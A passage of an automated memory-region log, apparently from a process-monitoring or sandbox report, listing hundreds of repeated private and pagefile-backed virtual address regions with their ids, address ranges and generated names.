"pagefile_0x0000000000470000" filename = "" Region: id = 17525 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17526 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17527 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17528 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17529 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17530 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17531 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17532 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17533 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17534 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17535 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17536 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17537 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17538 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17539 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17540 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17541 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17542 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17543 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17544 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17545 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17546 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17547 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17548 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17549 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17550 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17551 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17552 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17553 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17554 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17555 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17556 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17557 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17558 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17559 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17560 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17561 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17562 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17563 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17564 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17565 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17566 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17567 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17568 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17569 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17570 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17571 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17572 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17573 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17574 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17575 start_va = 0x470000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17576 start_va = 0x23a0000 end_va = 0x23c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 17577 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17578 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17579 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17580 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17581 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17582 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17583 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17584 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17585 start_va = 0x9150000 end_va = 0x9249fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009150000" filename = "" Region: id = 17586 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17587 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17588 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17589 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17590 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17591 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17592 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17593 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17594 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17595 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17596 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17597 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17598 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17599 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17600 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17601 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17602 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17603 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17604 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17605 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17606 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17607 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17608 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17609 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17610 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17611 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17612 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17613 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17614 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17615 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17616 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17617 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17618 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17619 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17620 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17621 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17622 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17623 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17624 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17625 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17626 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17627 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17628 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17629 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17630 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17631 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17632 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17633 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17634 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17635 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17636 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17637 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17638 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17639 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17640 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17641 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17642 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17643 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17644 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17645 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17646 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17647 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17648 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17649 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17650 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17651 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17652 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17653 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17654 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17655 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17656 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17657 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17658 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17659 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17660 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17661 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17662 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17663 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17664 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17665 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17666 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17667 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17668 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17669 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17670 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17671 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17672 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17673 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17674 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17675 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17676 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17677 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17678 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17679 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17680 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17681 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17682 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17683 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17684 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17685 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17686 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17687 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17688 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17689 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17690 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17691 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17692 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17693 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17694 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17695 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17696 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17697 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17698 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17699 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17700 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17701 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17702 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17703 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17704 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17705 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17707 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17708 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17709 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17710 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17711 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17712 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17713 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17714 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17715 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17716 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17717 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17718 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17719 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17720 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17721 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17722 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17723 start_va = 